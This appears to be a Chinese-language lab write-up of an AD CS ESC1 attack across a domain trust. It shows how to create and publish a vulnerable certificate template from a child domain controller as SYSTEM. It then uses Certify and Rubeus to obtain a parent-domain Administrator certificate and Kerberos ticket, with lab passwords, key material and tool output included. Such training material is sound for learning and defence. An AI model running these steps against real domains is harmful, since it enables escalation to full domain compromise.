林内攻击-ADCS ESC1
1. 实验环境
- DC02(子域控制器)- 10.129.229.207(DHCP)/ 172.16.210.3(双网卡)
dev.inlanefreight.ad - DC01(父域控制器)- 172.16.210.99
inlanefreight.ad - DC02 的账号密码:
Administrator和HTB_@cademy_adm!
Active Directory 证书服务是 Windows Server 中的一个服务器角色,允许组织构建公钥基础设施(PKI),为用户和计算机提供使用数字证书的安全通信通道。这些证书可用于多种用途,如安全电子邮件、网页浏览、虚拟专用网络(VPN)连接等。ADCS 在 Active Directory 环境中提供颁发、管理和撤销数字证书的功能。
2. ADCS与配置命名上下文
ADCS 将有关证书颁发机构(CA)和证书模板的详细信息存储在配置命名上下文(NC)中,可以用过ADSI.msc连接到配置上下文查看ADCS的相关对象,如CA配置、证书模板等信息
证书模板容器将模板存储为 pKICertificateTemplate 对象,这些对象可以发布到 ADCS CA。
证书模板容器通常存储在 Active Directory 的以下位置: CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=INLANEFREIGHT,DC=AD ,其中 DC=INLANEFREIGHT, DC=AD 是林根域的 DN。
Enrollment Services 容器为每个 CA 包含一个 pKIEnrollmentService 对象。这些对象通过其 certificateTemplates 属性枚举已 published 到 CA 的模板。注册服务容器存储在 Active Directory 中的以下位置: CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=INLANEFREIGHT,DC=AD ,其中 DC=INLANEFREIGHT, DC=AD 是林根域的 DN。
因为配置命名上下文可以在森林之间的所有DC间进行复制。我们可以在子域中以SYSTEM用户身份在其本地副本中修改这些对象。比如我们可以创建有漏洞的ESC模板,然后发布到ADCS CA服务器
3. 域信任ADCS攻击-ESC1
3.1. 攻击路径
- 在
Certificate Templates容器内添加一个新的易受攻击的Certificate Template作为pKICertificateTemplate对象 - 授予子域
Full Control的用户Administrator对已创建证书模板的权限。 - 通过修改
Enrollment Services容器内 CA 的pKIEnrollmentService对象,将创建的模板发布到 CA 服务器。 - 在配置命名上下文复制回父域后,从子域请求
root\Administrator的证书。
3.2. 制作ESC1模板
- 右键单击
User模板 - 选择
Duplicate Template。此操作将打开一个提示,显示新模板的属性。 - 将
Subject Name选项设置为Supply in the request。此配置允许在证书请求过程中动态指定主题名称,可能引入 ESC1 漏洞
3.3. 实操
3.3.1. SYSTEM运行mmc(Microsoft Management Console)
xfreerdp /v:10.129.229.207 /u:Administrator /p:'HTB_@cademy_adm!' /dynamic-resolution +clipboard
PS C:\Tools\> .\PsExec -s -i powershell
PS C:\Windows\system32> mmc
- 点击菜单栏中的
File - 选择
Add/Remove Snap-in - 点击
Add以添加Certificate Templates管理单元 - 点击
OK确认并打开Certificate Templates
证书模板在Configuration Naming Context (NC)的Certificate Templates容器中存储为pKICertificateTemplate对象。在此处添加新模板将在Configuration NC中创建相应的pKICertificateTemplate对象,该对象会复制回根域控制器。
3.3.2. 配置ESC1模板
复制一个现有的模板(User)
在 Subject Name 选项下,选择 Supply in the request 以允许在证书请求过程中动态指定主题名称
然后,导航到 Security标签页配置访问控制设置。授予子域 Full Control 的 Administrator 权限(这里可能需要手动添加这个用户)
这里创建证书后也会同步更改 NC中的信息,在Certificate Templates 中所做的修改也会传播到配置命名上下文(NC)中的 Certificate Templates 容器
3.3.3. 将证书发布到CA
要将证书发布到证书颁发机构(CA),必须将证书添加到 Enrollment Services 容器中的 pKIEnrollmentService 对象。然而,检查 pKIEnrollmentService 对象的 Access Control List (ACL) 时,很明显 SYSTEM 账户没有修改此对象所需的访问权限
这里必须要用SYSTEM用户上下文运行adsiedit.msc,不然无法查看
为了获得对 pKIEnrollmentService 对象的控制权,我们可以利用 Public Key Services 容器的权限继承功能 。
- 访问
Public Key Services容器 - 修改
SYSTEM用户的权限为This object and all descendant objects。然后就可以级联传递到容器内的pKIEnrollmentService对象及其所有后代对象。
继续编辑 Certificate Authority (CA) 的 pKIEnrollmentService 对象,把名为 Copy of User 的已创建证书模板添加到 certificateTemplates 属性中。通过将证书模板包含在此属性中,我们使 CA 能够根据指定模板向域内的用户或设备颁发证书
成功将证书添加到 pKIEnrollmentService 对象后,添加的模板就会被正式发布
此模版已经可以正常使用,且可以在父域中访问
3.3.4. 利用模板漏洞进行攻击
我们现在可以利用 Certify 向 DEV\Administrator 用户请求证书。在证书创建过程中,由于选择了 Supply in the request 作为 Subject Name 选项,我们能够灵活地为证书请求指定任意所需的名称。例如,通过在 Certify 中使用 /altname 参数,我们可以为 inlanefreight\administrator 等用户或标准 domain user 请求证书。此参数允许在证书请求中包含替代名称,从而便于颁发针对域基础设施中特定用户身份的定制证书。
PS C:\Tools> .\Certify.exe request /ca:inlanefreight.ad\INLANEFREIGHT-DC01-CA /domain:inlanefreight.ad /template:"Copy of User" /altname:INLANEFREIGHT\Administrator
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.0.0
[*] Action: Request a Certificates
[*] Current user context : DEV\Administrator
[*] No subject name specified, using current context as subject.
[*] Template : Copy of User
[*] Subject : CN=Administrator, CN=Users, DC=dev, DC=INLANEFREIGHT, DC=AD
[*] AltName : INLANEFREIGHT\Administrator
[*] Certificate Authority : inlanefreight.ad\INLANEFREIGHT-DC01-CA
[*] CA Response : The certificate had been issued.
[*] Request ID : 7
[*] cert.pem :
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAxpIQXSZERIPzw5X/LWzznXmP7R5BSnLB0sN5U0mldKw69DkK
1DU3a8G8hJzkMbubdgSzkEqi/1+ET6a44YG7GcPKG+76Jmp/mq1DF6qYGu5b3CNv
aYKZtay2aECibzLfZY4skhY8wOzNGDETsdSz7PmqqBVnJWV7+eTqyMvs2vuQYY9H
3K1m9CJVBEKIX2GIuRUjpcj1REvPm46CziZ7DOrg4+bhczAsHYxNkv4n4SGxqW9j
vTiNkVDFT4xiZ+Z0jourD0BuIzDzHQv454dkC7Qb3QmhcpyPzlphBnUywV7fHEdF
inMmlvlPniePTkvJ184EmieOrH3Kc3Lf6M2A5QIDAQABAoIBAQCT9k7fOh5wd2py
eRiV/rNgyi4m3/6CvRQUOrfzCdOSJqwfQ0oAak8LqmcQ4d9f942V2Vb708G1TLVI
<SNIP>
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIGajCCBVKgAwIBAgITJgAAAAfO3Q5+NY8x+gAAAAAABzANBgkqhkiG9w0BAQsF
ADBTMRIwEAYKCZImiZPyLGQBGRYCQUQxHTAbBgoJkiaJk/IsZAEZFg1JTkxBTkVG
UkVJR0hUMR4wHAYDVQQDExVJTkxBTkVGUkVJR0hULURDMDEtQ0EwHhcNMjQwMzE2
MjMzOTA3WhcNMjUwMzE2MjMzOTA3WjBwMRIwEAYKCZImiZPyLGQBGRYCQUQxHTAb
BgoJkiaJk/IsZAEZFg1JTkxBTkVGUkVJR0hUMRMwEQYKCZImiZPyLGQBGRYDZGV2
MQ4wDAYDVQQDEwVVc2VyczEWMBQGA1UEAxMNQWRtaW5pc3RyYXRvcjCCASIwDQYJ
KoZIhvcNAQEBBQADggEPADCCAQoCggEBAMaSEF0mRESD88OV/y1s8515j+0eQUpy
<SNIP>
-----END CERTIFICATE-----
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
然后转换证书格式为 pfx
sed -i 's/\s\s\+/\n/g' cert.pem
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
3.3.5. 证书向域管请求tgt
PS C:\Tools> PS C:\Tools> .\Rubeus.exe asktgt /domain:inlanefreight.ad /user:Administrator /certificate:cert.pfx /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.3
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=Administrator, CN=Users, DC=dev, DC=INLANEFREIGHT, DC=AD
[*] Building AS-REQ (w/ PKINIT preauth) for: 'inlanefreight.ad\Administrator'
[*] Using domain controller: 172.16.210.99:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIGlDCCBpCgAwIBBaEDAgEWooIFmDCCBZRhggWQMIIFjKADAgEFoRIbEElOTEFORUZSRUlHSFQuQUSi
JTAjoAMCAQKhHDAaGwZrcmJ0Z3QbEGlubGFuZWZyZWlnaHQuYWSjggVIMIIFRKADAgESoQMCAQKiggU2
BIIFMoyn7q/ZcZLAD3HNJnHF2Fz/IsxomCWfKaVhuRQGt/LXCYqbAvrF/RkGoNQkK7tAQRIvQk1sIZVZ
HZWufaTGN9pfz0f42kqozX497GCVK7UrcA8fBoWkKgAV0B1WUnDOsJO+kYeFrsCOsGkg0MTa9uc5cJns
LCZ7k67wVqW3ASKBbwVyfPla9vw6op0EwvWqq8jQdHlGwPQAqNr47kUWsJFzCs+EEIoVwLX1XuJqMor+
NuWS3A/Z78if29Bi0yX1WolHWzzXqjocrH7cHcFSI0G4NfRua/IO/0hNXnAlTXSKrztcDmefFs7qRIJ4
wU9aCjL/CChlUicULZ8xJqIrxSMsEWXOY9Zp05zy+AjuGo0eS63rD4JSAFV3LEkIS7iyJZfJnccqDHYs
vFPlaZx9Y9gJZuaoGmWyefimxZs5AtuDculDqlqMK6pfHAfLtYauK5L6ikLKKQDcvK0FXaeEclkWq69z
+QajYE+Y/C0VkUJyDfRKzeTZ69mD4BXwG168CuZYmYYZYSu4VTm43NP06I4KP7zAj5MCTqgYEIYeX/ba
TDoRxrVkXlp5LrGcoKgLjjm5HUhASf+8Ro24E9X/hcErJwcz21o5VAnSXyuEqvDI+35V/jkFaMTzuQ7X
Z1t9v3JeOrGoxk8ouNdB5TmbTafaNgMqCxiMSXOcIQazkDJdY0WMWs3gSzDRzcgaVKA+FFv1Ff4S00nR
w1occUnQtSYjfseghAAaTsRIvqWTzuEfqiFZ+HrUE1fPC8Ydkh8pZxGzq+W/OdO6B0BwKvzK3gmmb2fo
<SNIP>
[+] Ticket successfully imported!
ServiceName : krbtgt/inlanefreight.ad
ServiceRealm : INLANEFREIGHT.AD
UserName : Administrator
UserRealm : INLANEFREIGHT.AD
StartTime : 3/16/2024 6:53:20 PM
EndTime : 3/17/2024 4:53:20 AM
RenewTill : 3/23/2024 6:53:20 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Rba5Oq3iT7TUMqtNyYQSNA==
ASREP (key) : 4651D86F64FF9D128F25777BFD417B08













